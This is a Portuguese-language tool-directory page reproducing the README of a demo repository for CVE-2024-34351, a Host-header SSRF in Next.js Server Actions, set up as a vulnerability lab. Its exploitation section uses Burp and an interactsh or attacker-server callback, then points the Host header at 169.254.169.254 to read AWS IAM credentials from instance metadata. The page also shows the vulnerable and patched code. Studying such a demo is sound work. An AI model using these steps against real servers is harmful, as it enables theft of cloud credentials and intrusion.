Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2024-34351-demo | Kitploit
Ferramentas/GitHubGitHub/jinlei-chen-uwo/cve-2024-34351-demo
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoSegurança na NuvemAprendizado e Educação
GitHubjinlei-chen-uwo/cve-2024-34351-demo

cve-2024-34351-demo

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Demonstração do CVE-2024-34351

Aplicação mínima Next.js 14.0.0 para demonstrar o CVE-2024-34351 -- uma vulnerabilidade de Server-Side Request Forgery (SSRF) nas Server Actions do Next.js.

Descoberta por Adam Kues e Shubham Shah na Assetnote. Corrigida no Next.js 14.1.1.


Como a vulnerabilidade funciona

Quando uma Server Action chama redirect('/some-path'), o Next.js constrói uma URL de fetch interna usando o cabeçalho Host da requisição recebida, sem validação:

root@kitploit:~
// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host']           // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... })  // server makes this request

Um atacante que controla o cabeçalho Host pode apontar esse fetch interno para qualquer destino que o servidor consiga alcançar.


Requisitos

  • Node.js 18+
  • npm
  • Burp Suite Community Edition (gratuita) para interceptação

Configuração

root@kitploit:~
npm install
npm run build   # must use production build -- dev mode routes redirects differently
npm run start   # app runs at http://localhost:3000

Exploração

Passo 1 -- Confirmar a requisição de saída com o interactsh

O interactsh é útil para confirmar que o servidor Next.js faz uma requisição de saída para um host controlado pelo atacante.

root@kitploit:~
# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client

No Burp Suite:

  1. Acesse http://localhost:3000 e envie o formulário de login com a interceptação ativada
  2. Na requisição POST interceptada, altere Host: localhost:3000 para Host: abc123.oast.fun
  3. Encaminhe a requisição
  4. Verifique o interactsh -- você verá uma requisição HEAD registrada a partir do servidor Next.js

Isso prova o SSRF de saída. A requisição se origina do processo do servidor, não do navegador.

Passo 2 -- Leitura completa com o servidor do atacante

O interactsh não consegue controlar a resposta, então o Next.js não prosseguirá com o GET. Para obter o corpo completo da resposta retornado, use o servidor do atacante incluso:

root@kitploit:~
python3 attacker/attacker_server.py 8888

Defina o cabeçalho Host para <your-lan-ip>:8888 e encaminhe. O servidor do atacante responde ao HEAD com Content-Type: text/x-component, acionando o GET. O corpo completo da resposta é retornado dentro da resposta do Next.js visível no Burp.

Passo 3 -- Escalonamento via metadados da AWS (no EC2)

Ao executar o aplicativo vulnerável em uma instância AWS EC2, defina o cabeçalho Host para:

root@kitploit:~
Host: 169.254.169.254

O Next.js buscará no serviço de metadados da instância. Para recuperar as credenciais IAM:

root@kitploit:~
Host: 169.254.169.254

Em seguida, ajuste o caminho de redirecionamento ou use uma requisição de acompanhamento para o alvo:

root@kitploit:~
http://169.254.169.254/latest/meta-data/iam/security-credentials/

A resposta completa dos metadados é retornada ao navegador do atacante.


A correção (Next.js 14.1.1)

root@kitploit:~
// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
          ?? process.env.__NEXT_PRIVATE_ORIGIN
          ?? req.headers['host']

Referências

  • Post de Pesquisa da Assetnote
  • Aviso da Assetnote
  • Aviso do GitHub GHSA-fr5h-rqp8-mj6g
  • NVD CVE-2024-34351
  • Correção PR #62561
Baixar ferramenta